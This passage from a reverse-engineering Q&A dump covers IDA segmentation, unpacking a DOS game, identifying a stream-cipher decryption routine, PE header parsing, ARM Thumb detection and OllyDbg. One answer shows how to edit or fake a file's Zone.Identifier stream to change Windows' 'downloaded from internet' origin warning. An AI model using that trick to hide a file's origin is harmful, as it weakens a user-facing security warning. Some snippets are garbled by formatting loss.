    • Try to enter the operand manually
      • \n
    • Or make the illegal address legal by creating a new segment.
      • \n
    2. \n

  2. Otherwise, the database is corrupt.

    3. \n
\n
\n\n

So, I guess the problem is that I have one gargantuan segment instead of several small ones. But, how do I properly divide the address space into appropriate segments?

\n\n

I know the register values (including DS, CS, SS, IP, etc) at the entry point. Let's assume I create a CODE segment starting from the segment corresponding to the CS register value at the entry point. But what length should this segment have ?

\n\n

What's the point of segments in IDA at all? If DATA segments can contain instructions, and CODE segments can be read and written as data?

\n\n

Please excuse me for such a newbie question, but official IDA manual is notoriously scarce and HexRays forums are closed for me because I use freeware version.

\n", "Title": "Segments in IDA. How to overcome NONAME problem", "Tags": "|ida|disassembly|segmentation|", "Answer": "

I dealt with a ROM image once and faced this problem. I was confused too about what to do until Igor offered his advice.

\n\n

What seemed to be happening was that the linker was placing every object file into its own segment, so every inter-object function invocation was rendered in the binary as a far call, where the segment base was the base given to all functions within the module. I.e., the case you mention in your reply to Igor's comment did not materialize for me.

\n\n

To fix it, I searched the binary for all far call instructions and then created a new IDA segment (as large as possible) at the linear address of each referenced x86 segment. I.e., I did indeed end up with lots of tiny segments. This is not really a problem; really, the problem is that by not doing this, the references won't be disassembled correctly. It was pretty quick work and probably could be automated with a script.

\n" }, { "Id": "6069", "CreationDate": "2014-08-13T18:18:38.470", "Body": "

I'm disassembling a packed 16 bit DOS MZ EXE.

\n\n

To deobfuscate it, I've set a breakpoint in DOSbox at the end of the unpacking routine, let it run, and made a memory dump. This way I essentially got the deobfuscated EXE image. Then I loaded this image in IDA.

\n\n

Obviously, there's no MZ header anymore, so IDA can't know the application's entry point and initial values of CS, SS and other segment registers. I, however, do know these values, and I'm willing to supply them to IDA. To do this, I hit Alt+G and type the register's value.

\n\n

However, instead of showing assume ds:<value>, IDA shows

\n\n
seg000:1AEBC                     assume es:nothing, ss:nothing, ds:nothing\n
\n\n

Why?

\n\n

Another question. Why there is no option to set the value of CS register? Consider code which contains near jumps. Without knowledge about the CS register value, IDA won't be able to proceed with disassembling. But I do know what value CS has at this specific point! How do I supply this information to IDA if the Segment Register Value dialog window doesn't have CS option?

\n", "Title": "Why IDA aggressively assumes 'nothing' on segment registers?", "Tags": "|ida|disassembly|segmentation|", "Answer": "

DOS programs used segments and IDA was made to mimic that behavior. That's why you cannot change CS (since in properly set up database CS is just the segment's base) and why your changes to segment registers do now show up (because there is no segment corresponding to the values you enter).

\n\n

I would suggest opening a normal (not packed) MZ file to see how it's supposed to look. If you keep fighting IDA instead of working with it you'll keep having problems.

\n" }, { "Id": "6073", "CreationDate": "2014-08-14T02:13:14.243", "Body": "

I have a decryption algorithm that has been pulled from an x86 binary and converted into C# code. The C# works perfectly to decrypt data, but I'd like to identify the algorithm in use, so I could (among other things) possibly replace the extracted algorithm with an identical one from a third party library (like Bouncy Castle) but I don't know where to begin.

\n\n

I'm including my code below for reference. I'd like to find out how to even go about identifying such a thing. (Of course, the name of the algorithm would be greatly appreciated as well!)

\n\n
public class Crypto\n{\n    private static uint[] _MCInitVector = {\n        0xDB792195, 0xE63BF923, 0x4F6F076D, 0x122CDED5, 0xDA711220, 0x4F6FCEE6, 0x45E45C44, 0xCF852932,\n        0x469ADBF6, 0x5E12481F, 0x682D2354, 0xBDD21105, 0x5BB5F3E6, 0x6E8C82CA, 0xD0FDD8E3, 0xBE4CB2DF,\n        0xE3EB3F01, 0xD03D3F32, 0x77A4E3FF, 0xDF17D4B5, 0x2AC710AC, 0x5ACAC8ED, 0x703BD8E4, 0x1D9C3B3B,\n        0x4564A5D2, 0xB0224742, 0xB5A3048A, 0xA35A3F55, 0xCA33744F, 0xF1AEC0A0, 0x0BF4B1A4, 0x04038654,\n        0x7C65A9EC, 0xAA41DC51, 0xE5096687, 0x1D433C75, 0x35DE20AF, 0xDB75DA77, 0x230A8E81, 0x18BE6B31,\n        0x8D8857BA, 0x0EC016A2, 0x2FF6FB27, 0x37D3EB09, 0x91A6A259, 0x13E0EA7B, 0x07926A43, 0x21DF97F9,\n        0x24FD4BEB, 0x10315AA3, 0x58D70DF3, 0x7C56F52D, 0x1ABF4E8F, 0x50E140B0, 0xE1E9FEB2, 0x90380A5E,\n        0xEA3761D3, 0x583B843B, 0xF0F9496F, 0xC9FCD225, 0x35EC4846, 0x550CFA8B, 0x574DD012, 0x66C3ABF9,\n        0x55A7DBF8, 0x510A4DAE, 0xFF1738CC, 0x9AC85D2F, 0x3A7704F5, 0xDDB85A5C, 0x86A50929, 0xFB01BD4F,\n        0x877DDF76, 0x187EF004, 0x912E5B3E, 0xEBE1CBDD, 0x354F0206, 0x9D889D03, 0x910D16EF, 0xA67178A7,\n        0xC2DEEEDF, 0xE433A4BC, 0x474B91F7, 0x14A28299, 0xCBAD7D66, 0x494D39DF, 0x8B6BB28E, 0xCDCC33EE,\n        0xAF37C9D3, 0x9D79794F, 0x6B2C05ED, 0xA8823F18, 0x6225D7ED, 0x292E7345, 0xA04CE9DF, 0x951ABE7F,\n        0x72C3CC98, 0xCD1E0582, 0x41224C23, 0x90D26E39, 0xC75B1461, 0xE0B5DBD1, 0x83BA4F78, 0x2A072F2B,\n        0xA1A24F28, 0xB3BF06C8, 0xD5335518, 0x186662AC, 0xBC71C21F, 0x2BFC24A8, 0xDBB15F07, 0x076C83F5,\n        0xBD656129, 0x507A23D6, 0xB3CE5930, 0xD68E24EF, 0xE82CAF40, 0xA53C0493, 0x79CE3BB7, 0x030FEF29,\n        0x347E8A30, 0xFF6E9D5C, 0xCE9B9A04, 0xBC4E5140, 0x949BBE83, 0xCB8B3DBE, 0xAE1D5F44, 0x21148102,\n        0x754E9EAF, 0xF2DEAE15, 0xF2EB3A8C, 0x8B1614AE, 0x6ED005B6, 0xCA16DD83, 0x29BD701B, 0xAA6201C9,\n        0x58CE4025, 0x9C6121CB, 0x11C03985, 0xEFFC2A2A, 0x4136605B, 0x7F30DDFD, 0x19ECCC35, 0x4D6E1426,\n        0x6360EE03, 0xE69CB55A, 0xD181A69D, 0x7E69A4C7, 0x91B4C97C, 0x9BA0F967, 0xE05438A6, 0xF6A6AB45,\n        0xD0808096, 0xCE1DB289, 0x8FDF796F, 0x4D3B9B25, 0xA4AD9AE6, 0x5DF9105F, 0x71B1FD3E, 0xF90A6F7C,\n        0xEE1D1310, 0x183B6922, 0x2AD9A280, 0x50EAD939, 0x0B5990F6, 0xEAB6D31C, 0xD1F23104, 0x3FA68196,\n        0xA228DCCC, 0x68C10912, 0x9003CF9C, 0xB92E58C4, 0x9FBBA10F, 0x3DA05555, 0xAE52996D, 0x8F0A3B2C,\n        0x12F8D4DF, 0x02DF25C9, 0x51D99D11, 0x950AEAD2, 0xFFF87B29, 0xCDA6B1E7, 0x13056DC7, 0x189BA81A,\n        0xA23C22E1, 0x0F9E5E7F, 0x799B23CD, 0x53DB90F6, 0xA388548B, 0xB9C0D3E5, 0x753BB810, 0xC3768EFD,\n        0x2D66B7F2, 0x16EEC5CB, 0x4490D722, 0xF813E0E6, 0xD02DC104, 0x1FE5CA4F, 0x18A27E69, 0x191699FF,\n        0xB366A330, 0x4B01495D, 0x5529AD4D, 0x48F2FE87, 0x926C55F1, 0x53491F9B, 0x875BA8D1, 0xEF2C3CD8,\n        0xE50C89F9, 0x5201768C, 0x1A5C4B35, 0x114C0C76, 0x77D8B1DF, 0x75E77E8A, 0x39826BA2, 0x3FFACC4F,\n        0xF5FF4FF7, 0xA0B10525, 0xFD46ED4F, 0xE97C9F45, 0x568CB141, 0xD45C1365, 0x788B2B7E, 0xABAA5158,\n        0x73AD6AEA, 0x041E5FCA, 0x0BE48855, 0x01C285AF, 0x0B2EFB29, 0x49655AEE, 0xABBF0B3C, 0x958E4617,\n        0x0A8CD37A, 0x871758F9, 0x0DB1A84D, 0xE453974A, 0x78308BD6, 0x7456A7EB, 0x76FF0F79, 0x3C1957D9,\n        0xD6E89EE6, 0x4DB3A5B2, 0xBAC849BA, 0xC68E2110, 0xE8F9F2EB, 0x970F676E, 0x034377B6, 0xF0DC724F,\n        0xFF290056, 0xD3B7F2FF, 0x72DF023B, 0x3021ACA2, 0x352EE316, 0xE046B5CA, 0xE94E08BC, 0x41BFFB5A\n    };\n\n    private byte[] _decryptKey;\n    private uint[] _decryptSet;\n    private uint _decryptState1;\n    private uint _decryptState2;\n    private uint _decryptState3;\n    private int _decryptSetIndex;\n    private int _decryptKeyIndex;\n\n    public uint Seed { get; set; }\n\n    public Crypto(uint seed)\n    {\n        this.Seed = seed;\n\n        _decryptKey = new byte[128];\n        _decryptSet = new uint[512];\n\n        // round 0\n        Array.Copy(_MCInitVector, _decryptSet, 256);\n        Array.Clear(_decryptSet, 256, 256);\n        _decryptState1 = seed;\n        _decryptState2 = 0;\n        _decryptState3 = 0;\n        _decryptSetIndex = 0;\n        uint key = getNextKey();\n\n        // round 1\n        Array.Copy(_MCInitVector, _decryptSet, 256);\n        Array.Clear(_decryptSet, 256, 256);\n        _decryptState1 = seed;\n        _decryptState2 = key;\n        _decryptState3 = 0;\n        _decryptSetIndex = 0;\n        for (int i = 0; i < 5; i++)\n        {\n            key = getNextKey();\n        }\n\n        // round 2\n        Array.Copy(_MCInitVector, _decryptSet, 256);\n        Array.Clear(_decryptSet, 256, 256);\n        _decryptState1 = key;\n        _decryptState2 = 0;\n        _decryptState3 = 0;\n        _decryptSetIndex = 0;\n\n        // fill decrypt keys\n        _decryptKeyIndex = 31;\n        for (int i = 124; i >= 0; i -= 4)\n        {\n            BitConverter.GetBytes(getNextKey()).CopyTo(_decryptKey, i);\n        }\n    }\n\n    private uint getNextKey()\n    {\n        int i = (--_decryptSetIndex);\n        if (i < 256)\n        {\n            uint var1 = _decryptState1;\n            uint var2 = _decryptState2 + (++_decryptState3);\n\n            i = 0;\n            while (i < 256)\n            {\n                uint j, k;\n                var1 = (var1 ^ (var1 << 13)) + _decryptSet[(i + 128) & 0xff];\n                j = _decryptSet[i];\n                k = _decryptSet[i] = _decryptSet[(j & 0x3ff) >> 2] + var1 + var2;\n                var2 = _decryptSet[i + 256] = _decryptSet[((k >> 8) & 0x3ff) >> 2] + j;\n                i++;\n                var1 = (var1 ^ (var1 >> 6)) + _decryptSet[(i + 128) & 0xff];\n                j = _decryptSet[i];\n                k = _decryptSet[i] = _decryptSet[(j & 0x3ff) >> 2] + var1 + var2;\n                var2 = _decryptSet[i + 256] = _decryptSet[((k >> 8) & 0x3ff) >> 2] + j;\n                i++;\n                var1 = (var1 ^ (var1 << 2)) + _decryptSet[(i + 128) & 0xff];\n                j = _decryptSet[i];\n                k = _decryptSet[i] = _decryptSet[(j & 0x3ff) >> 2] + var1 + var2;\n                var2 = _decryptSet[i + 256] = _decryptSet[((k >> 8) & 0x3ff) >> 2] + j;\n                i++;\n                var1 = (var1 ^ (var1 >> 16)) + _decryptSet[(i + 128) & 0xff];\n                j = _decryptSet[i];\n                k = _decryptSet[i] = _decryptSet[(j & 0x3ff) >> 2] + var1 + var2;\n                var2 = _decryptSet[i + 256] = _decryptSet[((k >> 8) & 0x3ff) >> 2] + j;\n                i++;\n            }\n\n            _decryptState1 = var1;\n            _decryptState2 = var2;\n            i = _decryptSetIndex = 511;\n        }\n\n        return _decryptSet[i];\n    }\n\n\n    public void DecodePacket(ref byte[] packet)\n    {\n        int len = packet.Length;\n\n        // Poster's note: Packet is post-fixed with a 4 byte checksum, hence this subtraction\n        len -= 4;\n        int idx = _decryptKeyIndex * 4;\n        int i = 6; // Poster's Note: Actual packet data starts at index 6, index 5 and below are flags/metadata\n        // block decryption (OFB mode)\n        while (i < len)\n        {\n            int j = idx & 0x1f; idx += 4;\n            packet[i++] ^= _decryptKey[j++];\n            packet[i++] ^= _decryptKey[j++];\n            packet[i++] ^= _decryptKey[j++];\n            packet[i++] ^= _decryptKey[j++];\n        }\n        len += 4;\n        // process left bytes\n        while (i < len)\n        {\n            packet[i++] ^= _decryptKey[(idx++) & 0x7f];\n        }\n\n        // update key stream\n        idx = _decryptKeyIndex;\n        BitConverter.GetBytes(getNextKey()).CopyTo(_decryptKey, idx);\n        _decryptKeyIndex = (idx + 31) & 0x1f;\n    }\n}\n
\n", "Title": "Identifying cryptography algorithm", "Tags": "|static-analysis|decryption|cryptography|c#|", "Answer": "

Structurally, it resembles HC-256, but it's hard to say for certain without running it and comparing the input/output to an existing HC-256 implementation.

\n" }, { "Id": "6077", "CreationDate": "2014-08-15T14:53:23.377", "Body": "

I'm implementing a software for performing some PE classification. Among the features values I'm gathering from each PE are, the amount of sections, the name of sections, image section headers.

\n

I have been reading about ImageHlp Structures. But there is no example on how to get those struct initialized from a file/path_to_a_file you pass. I'm specially interested in the IMAGE_SECTION_HEADER structure.

\n

How can I get the IMAGE_SECTION_HEADERs form an executable file programatically?

\n", "Title": "Get section's names and headers for a file using C++", "Tags": "|binary-analysis|c++|pe|", "Answer": "

I have extensive experience with parsing the PE on Windows, mainly for use in function interception. Here are the steps you should follow to achieve your goal.

\n

The first step is to find the base address of the image loaded into memory. This step will be different depending on if the executable has or hasn't been mapped into memory, but the basic idea will be the same. Assuming that you are interested in doing this for a file on disk, then you may do this with the file mapping API, if you would prefer to implement this on an executable loaded into memory as a running process, you can achieve the equivalent by using the the tool help snapshot API. The base address will be the same as the field hModule in the MODULEENTRY32 data retrieved from the snapshot. For more information about what a module handle is, see here.

\n

Once you have completed the first step, the structure at the base address is the IMAGE_DOS_HEADER, while this is not documented on MSDN, it has two very important but cryptic fields. The two fields you will need to know are the e_magic field and the e_lfanew field. The e_magic field contains a double word for 32-bit or quadruple for 64-bit that allows you to test if the file being read or your implementation is correctly formatted with the correct value being defined as IMAGE_DOS_SIGNATURE, which is the ASCII-Z string of "MZ\\0". The e_lfanew field contains a relative virtual address which you need to add to the image base you found in step one to calculate the virtual address of the IMAGE_NT_HEADERS structure.

\n

The third step will be to check the first member of the IMAGE_NT_HEADERS to see if it is an actual PE file, this will be defined by the Signature field of the structure, and the defined constant to test for will be IMAGE_NT_SIGNATURE. This is not typically nessecary, since most Windows versions will be using the PE format of executable file, but it's good practice in order to ensure your code is a bit more robust.

\n

Once everything checks out and you have performed steps 1-3, step four will be when you can finally calculate the address of the IMAGE_SECTION_HEADER structures. The IMAGE_SECTION_HEADER structures are stored as an array in the file, so to obtain the size of the array, you will need to use the NumberOfSections member in the IMAGE_FILE_HEADER structure which is nested in the IMAGE_NT_HEADERS structure mentioned above.Once you have that value, you may find the virtual address of the first IMAGE_SECTION_HEADER by adding the size of the Signature member of the IMAGE_NT_HEADERS structure, the size of the FileHeader member in the IMAGE_NT_HEADERS structure, and finally the SizeOfOptionalHeader value in the IMAGE_FILE_HEADER structure. The reason you can't simply do a sizeof( IMAGE_OPTIONAL_HEADER ) for the last value in the formula listed above is because a file on disk will not have the IMAGE_OPTIONAL_HEADER, so to obtain the proper size dynamically, you should do so through the structure member I mentioned earlier.

\n

Now you may simply copy the array of IMAGE_SECTION_HEADER structures from memory any way you please. Just remember, that these structures are contigous in memory, so all you need to do is multiply the size of each structure by the number of sections to find the total size of the entire array in memory. After you have calculate that value, it will be trivial to collect the data.

\n

For more resources on the PE executable format, see this wonderful article written by Matt Pietrek, Peering Inside the PE. You may also take a look at the official specification here.

\n" }, { "Id": "6080", "CreationDate": "2014-08-15T22:18:37.817", "Body": "

I try to build a small disassembler for ARM, and I would like to know how do objdump manage to sort out the normal mode instructions (32-bits instruction wide) from the thumb mode instructions (16-bits instruction wide) without having to look at the t flag in the CPSR.

\n\n

But first, let us build a small example and make some experiments on it.

\n\n

I wrote this small piece of ARM assembly (gas syntax) as basis example:

\n\n
.arm\n    mov fp, #0\n    moveq   r1, r0\n.thumb\n    mov r0, #0\n    mov fp, r0\n
\n\n

Then, I cross-compiled it like this:

\n\n
$> arm-none-eabi-gcc -Wall -Wextra -mlittle-endian -c -o arm_sample arm_sample.s\n
\n\n

And, here is the output of objdump on the ARM object file:

\n\n
$> objdump -d ./arm32_mov\n\n./arm32_mov:     file format elf32-littlearm\n\nDisassembly of section .text:\n00000000 <.text>:\n   0:   e3a0b000    mov fp, #0\n   4:   01a01000    moveq   r1, r0\n   8:   2000        movs    r0, #0\n   a:   4683        mov fp, r0\n
\n\n

But, when I run my tool, I get:

\n\n
 warning: decoder says at (0x8,0):'strmi r2, [r3], r0' : Unknown mnemonic\n   0:   00 b0 a0 e3                 mov fp, #0\n   4:   00 10 a0 01                 moveq   r1, r0\n   8:   ...\n
\n\n

My tool is based on libopcodes (exactly like objdump), so the third instruction is just interpreted as still in 32-bits mode and the two thumb mode instructions are just interpreted as one 32-bits instruction which gives strmi r2, [r3], r0.

\n\n

My question is that I don't understand how objdump knows that there is a switch between normal mode to thumb mode. Before discovering this, I thought that this information was only available at execution time though the value of the t flag in the CPSR status register.

\n\n

I tried to look at the code of objdump but, I didn't see any architecture dependent cases to treat the case of the ARM thumb mode. So, this is still a mystery to me...

\n\n

Any suggestion is welcome !

\n\n

EDIT

\n\n

In fact, I worked on an object file (compiled with -c option), so there is not so much symbols. But, here is a more detailed output obtained through objdump:

\n\n
$> objdump -x ./arm32_mov\n\n./arm32_mov:     file format elf32-littlearm\n./arm32_mov\narchitecture: armv4t, flags 0x00000010:\nHAS_SYMS\nstart address 0x00000000\nprivate flags = 5000000: [Version5 EABI]\n\nSections:\nIdx Name          Size      VMA       LMA       File off  Algn\n  0 .text         0000000c  00000000  00000000  00000034  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, CODE\n  1 .data         00000000  00000000  00000000  00000040  2**0\n                  CONTENTS, ALLOC, LOAD, DATA\n  2 .bss          00000000  00000000  00000000  00000040  2**0\n                  ALLOC\n  3 .ARM.attributes 00000016  00000000  00000000  00000040  2**0\n                  CONTENTS, READONLY\nSYMBOL TABLE:\n00000000 l    d  .text  00000000 .text\n00000000 l    d  .data  00000000 .data\n00000000 l    d  .bss   00000000 .bss\n00000000 l    d  .ARM.attributes    00000000 .ARM.attributes\n
\n\n

And, here is the output of readelf:

\n\n
$> readelf -a ./arm32_mov\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              REL (Relocatable file)\n  Machine:                           ARM\n  Version:                           0x1\n  Entry point address:               0x0\n  Start of program headers:          0 (bytes into file)\n  Start of section headers:          148 (bytes into file)\n  Flags:                             0x5000000, Version5 EABI\n  Size of this header:               52 (bytes)\n  Size of program headers:           0 (bytes)\n  Number of program headers:         0\n  Size of section headers:           40 (bytes)\n  Number of section headers:         8\n  Section header string table index: 5\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .text             PROGBITS        00000000 000034 00000c 00  AX  0   0  4\n  [ 2] .data             PROGBITS        00000000 000040 000000 00  WA  0   0  1\n  [ 3] .bss              NOBITS          00000000 000040 000000 00  WA  0   0  1\n  [ 4] .ARM.attributes   ARM_ATTRIBUTES  00000000 000040 000016 00      0   0  1\n  [ 5] .shstrtab         STRTAB          00000000 000056 00003c 00      0   0  1\n  [ 6] .symtab           SYMTAB          00000000 0001d4 000070 10      7   7  4\n  [ 7] .strtab           STRTAB          00000000 000244 000007 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n\nThere are no section groups in this file.\nThere are no program headers in this file.\nThere are no relocations in this file.\nThere are no unwind sections in this file.\n\nSymbol table '.symtab' contains 7 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 00000000     0 SECTION LOCAL  DEFAULT    1 \n     2: 00000000     0 SECTION LOCAL  DEFAULT    2 \n     3: 00000000     0 SECTION LOCAL  DEFAULT    3 \n     4: 00000000     0 NOTYPE  LOCAL  DEFAULT    1 $a\n     5: 00000008     0 NOTYPE  LOCAL  DEFAULT    1 $t\n     6: 00000000     0 SECTION LOCAL  DEFAULT    4 \n\nNo version information found in this file.\nAttribute Section: aeabi\nFile Attributes\n  Tag_CPU_arch: v4T\n  Tag_ARM_ISA_use: Yes\n  Tag_THUMB_ISA_use: Thumb-1\n
\n\n

SOLUTION (Ian Cook)

\n\n
$ objdump --syms --special-syms ./arm32_mov\n\n./arm32_mov:     file format elf32-littlearm\n\nSYMBOL TABLE:\n00000000 l    d  .text  00000000 .text\n00000000 l    d  .data  00000000 .data\n00000000 l    d  .bss   00000000 .bss\n00000000 l       .text  00000000 $a   <-- ARM code\n00000008 l       .text  00000000 $t   <-- Thumb code\n00000000 l    d  .ARM.attributes    00000000 .ARM.attributes\n
\n\n

Just to be sure, I interleaved arm code, thumb code and arm code again. Here is the dump:

\n\n
$> objdump --syms --special-syms ./arm32_mov\n\n./arm32_mov:     file format elf32-littlearm\n\nSYMBOL TABLE:\n00000000 l    d  .text  00000000 .text\n00000000 l    d  .data  00000000 .data\n00000000 l    d  .bss   00000000 .bss\n00000000 l       .text  00000000 $a\n00000008 l       .text  00000000 $t\n0000000c l       .text  00000000 $a\n00000000 l    d  .ARM.attributes    00000000 .ARM.attributes\n
\n\n

You can see that the ARM symbol is present twice at 0x0 and 0xc and are surrounding the thumb symbol.

\n", "Title": "How to detect thumb mode in ARM disassembly?", "Tags": "|disassembly|assembly|arm|", "Answer": "

When compiling C/C++ code, you can also detect the ARM/thumb status for a function by looking at the symbol table. The lowest bit of the address is set to 1 for Thumb and 0 for ARM instructions. To see this, you can use readelf --symWhen usingobjdump -tandreadelf`, though.

\n\n
$ readelf --syms foo.elf |grep strlen$\n  4460: 08000195    16 FUNC    GLOBAL DEFAULT    2 strlen\n$ objdump -t foo.elf |grep strlen$\n  08000194 g     F .text  00000010 strlen\n
\n\n

Note that the actual address is 8000194 (32-bit aligned), but the symbol table entry (as shown by readelf) says 9000195 (with the LSB set to indicate thumb).

\n\n

This approach will only tell you the ARM/thumb status at the start of a function, to see any transitions inside a function you will still need to look at the $t and $a symbols as documented in other answers.

\n\n

The meaning of this LSB is defined in the ARM ELF ABI:

\n\n
\n

5.5.3 Symbol Values

\n \n

In addition to the normal rules for symbol values the following rules shall also apply to symbols of type STT_FUNC:

\n \n \n \n

Note: This allows a linker to distinguish Arm and Thumb code symbols without having to refer to the map. An Arm symbol will always have an even value, while a Thumb symbol will always have an odd value. However, a linker should strip the discriminating bit from the value before using it for relocation.

\n
\n" }, { "Id": "6089", "CreationDate": "2014-08-17T14:33:16.650", "Body": "

I'm trying to create a .sig file for sqlite3. I downloaded the source code from the website, compiled it into a .lib (smoothly), and this is what I get when I try to turn it into a .pat file:

\n\n
plb.exe -v sqlite.lib\nsqlite.lib: invalid module at offset 143146. Skipping.\nsqlite.lib: invalid module at offset 2587742. Skipping.\nsqlite.lib: skipped 2, total 2\n
\n\n

The resulting .pat file is empty and I cannot proceed to create the final file with sigmake.

\n\n

Google doesn't seem to indicate that anyone has ever had an \"invalid module at offset\" problem in the entire world, so I'm guessing this is pretty unique. I'm stuck. Help?

\n", "Title": "Unable to create FLIRT signature for IDA", "Tags": "|ida|flirt-signatures|", "Answer": "

plb.exe is designed for OMF libraries (primarily used for 16 bit Borland compilers). What you probably want is pcf.exe, which parses COFF libraries commonly used in 32 bit windows.

\n" }, { "Id": "6096", "CreationDate": "2014-08-19T12:01:33.837", "Body": "

I'm disassembling an old (1996) game, that has been compiled with the Watcom 386 compiler. This compiler seems to aggressively reorder instructions to make better use of the processor pipeline, as seen in this chunk of assembly:

\n\n

\"enter

\n\n

The instructions marked with a red dot set up the parameters for the next call; the instructions with a blue dot finish the initialization of the object returned from the previous call. Rearranging them makes the assembly much easier to read:

\n\n
...\ncall    ClassAlloc13680_0FAh\nmov     edx, [eax]\nmov     [edx+Class180F4.WidgetInputHandler], offset gblHandleTransportDestinationAndCheckForPassengersSpace\nmov     edx, [eax]\nmov     [edx+Class13680.Paint???], offset ClassVehicleManager__PaintForSomeWidget\nmov     dword_A4D88, eax\nmov     eax, [eax]\nmov     [eax+Class10B8C.MouseInputHandler], offset ClassVehicleManager__MouseInputHandler\n\npush    0\npush    2\npush    0\npush    4Eh\npush    5Bh\nmov     ebx, 5Ch\nmov     ecx, 21h\nmov     edx, ebp\nmov     eax, ebp\ncall    ClassAlloc13680_0FAh\npush    0\npush    2\n...\n
\n\n

(Note that i moved the mov reg, xxh instructions even further down, because the compiler's calling convention is ax-dx-cx-bx-stack, so i can see the order of arguments here as well)

\n\n

Is there a way to accomplish this in IDA? I'm not asking for an algorithm to automatically determine which instructions should be \"red\" and which should be \"blue\", and i don't want to patch the original binary file, i'd just like to manually re-arrange instructions in the ida database.

\n\n

Or is there another way to improve readability of this kind of code in IDA?

\n", "Title": "Rearrange instructions in an ida database?", "Tags": "|ida|assembly|", "Answer": "

Several years ago i wrote swapinsn.idc to do this for ARM code. It will rotate a sequence of insns up or down, and fix any relative jumps in that range.

\n\n

Note that contrary to the comments in the script, i never actually added x86 support.

\n\n

For convenience i added hotkey functions HK_ExchangeDown and HK_ExchangeUp as defined in hotkeys.idc.\nSo in can select a range of instructions, type shift-x to move the last selected insn up, and the rest down.

\n" }, { "Id": "6097", "CreationDate": "2014-08-19T12:34:59.847", "Body": "

What is the usage of \"Stream:\" portion in View==>File==>Open File window? For some files it shows 

main
:Zone.Identifier:$DATA
\nwhat's the meaning of this?

\n", "Title": "OllyDbg2: What is the meaning of Stream in File View Window?", "Tags": "|ollydbg|", "Answer": "

An NTFS file can have multiple data streams. $DATA is the name of the default stream.

\n\n

From Wikipedia: Internet explorer, (and, according to the german wikipedia, newer versions of Firefox), use the Zone.Identifier stream to store information from where you downloaded the file. You might have seen the \"File Origin: downloaded from internet\" message in a UAC prompt.

\n\n

You can edit the Zone.Identifier data with notepad. For example, on one of your files that have this attribute, run notepad myfile.exe:Zone.Identifier. This should give you something like

\n\n
[ZoneTransfer]\nZoneId=3\n
\n\n

Change the 3 to a 0, then save from notepad. Next time you run the file as adminstrator, the \"Origin: Internet\" message will change to \"Origin: this computer's hard disk\".

\n\n

The answer to your question \"why is it absent on some other files\" is - only NTFS supports this. If you copy a file to a USB stick, SD card, or network storage, the file will lose its stream; when you copy it back, it doesn't magically gain the stream back. So only files that you downloaded via internet explorer (and possibly other browsers) on your NTFS hard disk will have it. Or, of course, files in which you created the stream yourself, like in echo \"this is a fake\" > myfile.exe:Zone.Identifier.

\n\n

Of course, the only thing this has to do with reverse engineering is that Ollydbg is one of the few tools that tell you if a file as alternate data streams.

\n" }, { "Id": "6104", "CreationDate": "2014-08-21T07:21:12.420", "Body": "

Being rather new to the concept of RE, I wanted to try and take a look at the assembly code in one DLL that I know exports some functions.

\n\n

First, I used this tool - http://www.nirsoft.net/utils/dll_export_viewer.html - to obtain a list of exports within said DLL. These are some of the functions:

\n\n
GI_Call 0x100590a7  0x000590a7  2 (0x2) mydll.dll   I:\\test\\mydll.dll   Exported Function   \nGI_CleanReturnStack 0x10058eae  0x00058eae  3 (0x3) mydll.dll  I:\\test\\mydll.dll    Exported Function   \nGI_Cmd_Argc 0x10058bd4  0x00058bd4  4 (0x4) mydll.dll   I:\\test\\mydll.dll   Exported Function   \nGI_Cmd_Argc_sv  0x10059593  0x00059593  5 (0x5) mydll.dll   I:\\test\\mydll.dll   Exported Function   \n
\n\n

When I, however, load the DLL up in OllyDbg and browse to any of these addresses, I get instructions that don't really resemble a beginning of a function, for example GI_Call:

\n\n
100590A7     10E9                ADC CL,CH\n100590A9     CE                  INTO\n100590AA     FC                  CLD\n100590AB     FFFF                ???                                                        ; Unknown command\n100590AD     FF75 10             PUSH DWORD PTR SS:[EBP+10]\n100590B0     8D45 FC             LEA EAX,DWORD PTR SS:[EBP-4]\n100590B3     50                  PUSH EAX\n100590B4     57                  PUSH EDI\n
\n\n

What's even more puzzling is that once I scroll up/down, the code actually changes - there's no

\n\n
100590A7     10E9                ADC CL,CH\n
\n\n

anymore, it changes to a completely different instruction, also that address is gone.

\n\n

Am I doing something wrong? Or is the DLL possibly encrypted? Though if it is, how could DLL Export Viewer dump the exports so easily?

\n", "Title": "Viewing an exported DLL function in OllyDbg - garbage code", "Tags": "|disassembly|ollydbg|dll|functions|", "Answer": "

Your library might get loaded to a location that's completely different from the one it wants to be loaded at, i.e. the address in the header, due to ASLR.

\n\n

Also, when loading a DLL, Ollydbg doesn't load the DLL directly; instead, it uses loaddll.exe. Which means, it starts the executable, but the breakpoint it sets is before loaddll has a chance to, well, load the DLL.

\n\n

Try the following:

\n\n\n\n

The reason for your 'disappearing' instruction is that it's the middle of another instruction. Consider this function start:

\n\n
10001280 > 53               PUSH EBX\n10001281   56               PUSH ESI\n10001282   57               PUSH EDI\n10001283   8B7C24 10        MOV EDI,DWORD PTR SS:[ESP+10]\n10001287   8BF1             MOV ESI,ECX\n10001289   3BF7             CMP ESI,EDI\n1000128B   0F94C3           SETE BL\n1000128E   84DB             TEST BL,BL\n10001290   75 32            JNZ SHORT 100012C4\n
\n\n

The byte at 10001284, 0x7c, is part of the instruction at 1001283. But if you disassemble from 10001284,

\n\n
10001284   7C 24            JL SHORT 100012AA\n10001286   108B F13BF70F    ADC BYTE PTR DS:[EBX+FF73BF1],CL\n1000128C   94               XCHG EAX,ESP\n1000128D   C3               RETN\n1000128E   84DB             TEST BL,BL\n10001290   75 32            JNZ SHORT 100012C4\n
\n\n

The wrong bytes get interpreted as instructions. Once you scroll up a few rows, Ollydbg syncs correctly again - and shows the 'real' instructions.

